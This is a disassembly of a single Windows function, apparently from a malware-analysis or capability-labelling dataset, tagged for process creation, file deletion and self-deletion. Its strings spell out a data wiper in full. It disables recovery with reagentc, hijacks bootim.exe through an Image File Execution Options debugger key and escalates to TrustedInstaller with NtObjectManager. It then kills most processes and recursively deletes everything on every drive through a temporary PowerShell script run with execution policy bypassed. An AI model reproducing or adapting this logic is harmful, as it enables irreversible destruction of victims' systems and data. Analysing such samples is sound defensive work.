Function at 0x1400015e0
Capabilities:
Create process on windows
Delete file
Self delete

Disassembly:
push rbp
push rbx
sub rsp, 0x238
lea rbp, [rsp + 0x80]
call sym.__main
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
lea rax, str.C:Windows_system32cmd.exe
mov qword [rbp + 0x1a8], rax
mov rax, qword [rbp + 0x1a8]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_reagentc__disable
mov r8, rax
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov rax, qword [rbp + 0x1a8]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_TIMEOUT__T_10__New_Item__Path__HKLM:SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_bootim.exe
mov r8, rax
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
mov rax, qword [rbp + 0x1a8]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_TIMEOUT__T_10__Set_ItemProperty__Path__HKLM:SOFTWAREMicrosoftWindows_NTCurrentVersionImage_File_Execution_Options_bootim.exe___Name__Debugger___Type__String___Value__taskill__F__IM_bootim.exe___Force_
mov r8, rax
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
lea rax, [rbp - 0x30]
mov rcx, rax
call fcn.140092d10
lea rax, [rbp - 0x30]
mov r8d, 0x10
lea rdx, str.temp.ps1
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.open_char_const__std::_Ios_Openmode_
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.1400a3100
lea rax, [rbp - 0x50]
lea rdx, str._nuGet__Get_PackageProvider__Where_Name__match__NuGet_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
lea rax, [rbp - 0x50]
lea rdx, str.if____nuGet___Install_PackageProvider__Name_NuGet__Force_
mov rcx, rax
call fcn.1400a3c80
lea rax, [rbp - 0x50]
lea rdx, str.if__Get_Module__ListAvailable__Name_NtObjectManager____else__Set_PSRepository_PSGallery__InstallationPolicy_Trusted__Install_Module__Name_NtObjectManager__Confirm:_False__Force__RequiredVersion_1.1.32_
mov rcx, rax
call fcn.1400a3c80
lea rax, [rbp - 0x50]
lea rdx, str.Import_Module_NtObjectManager
mov rcx, rax
call fcn.1400a3c80
lea rax, [rbp - 0x50]
lea rdx, str.sc.exe_stop_TrustedInstaller
mov rcx, rax
call fcn.1400a3c80
lea rax, [rbp - 0x50]
lea rdx, str.sc.exe_start_TrustedInstaller
mov rcx, rax
call fcn.1400a3c80
lea rax, [rbp - 0x50]
lea rdx, str._ti__Get_NtProcess_TrustedInstaller.exe
mov rcx, rax
call fcn.1400a3c80
lea rax, [rbp - 0x50]
lea rdx, str.Get_Process__Name___Where_Name__notmatch__svchost___Where_Name__notmatch__explorer___Where_Name__notmatch__sihost___Where_Name__notmatch__winlogon___Where_Name__notmatch__ntoskmk___Where_Name__notmatch__lsass___Where_Name__notmatch__dwm___Where_Name__notmatch__cmd___Where_Name__notmatch__conhost___Where_Name__notmatch__powershell___Where_Name__notmatch__wininit___Select_Object_Name__ForEach_Object__New_Win32Process__ApplicationName__C:WindowsSystem32cmd.exe___CommandLine___c_taskkill.exe__F__IM_____.Name_.exe___CreationFlags_NoWindow__ParentProcess__ti_
mov rcx, rax
call fcn.1400a3c80
lea rax, [rbp - 0x50]
lea rdx, str.Get_PSDrive__Select_Object__ExpandProperty_Name__Select_String__Pattern__a_z____ForEach_Object__New_Win32Process__ApplicationName__C:WindowsSystem32cmd.exe___CommandLine___c_del__f_s_q______:___nul__del__f_s_q______:___nul__rmdir__s_q______:__rmdir__s_q______:___CreationFlags_NoWindow__ParentProcess__ti_
mov rcx, rax
call fcn.1400a3c80
lea rax, [rbp - 0x50]
lea rdx, str.Write_Host__Done__
mov rcx, rax
call fcn.1400a3c80
lea rdx, [rbp - 0x50]
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.close__
mov rax, qword [rbp + 0x1a8]
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
lea r9, str._c_powershell__ExecutionPolicy_Bypass__Force_temp.ps1
mov r8, rax
lea rax, str.runas
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
lea rax, str.temp.ps1
mov rcx, rax
call sym.remove
lea rax, [rbp - 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::basic_ofstream_char__std::char_traits_char___.basic_ofstream__
mov eax, 0
jmp 0x14000186b
add rsp, 0x238
pop rbx
pop rbp
ret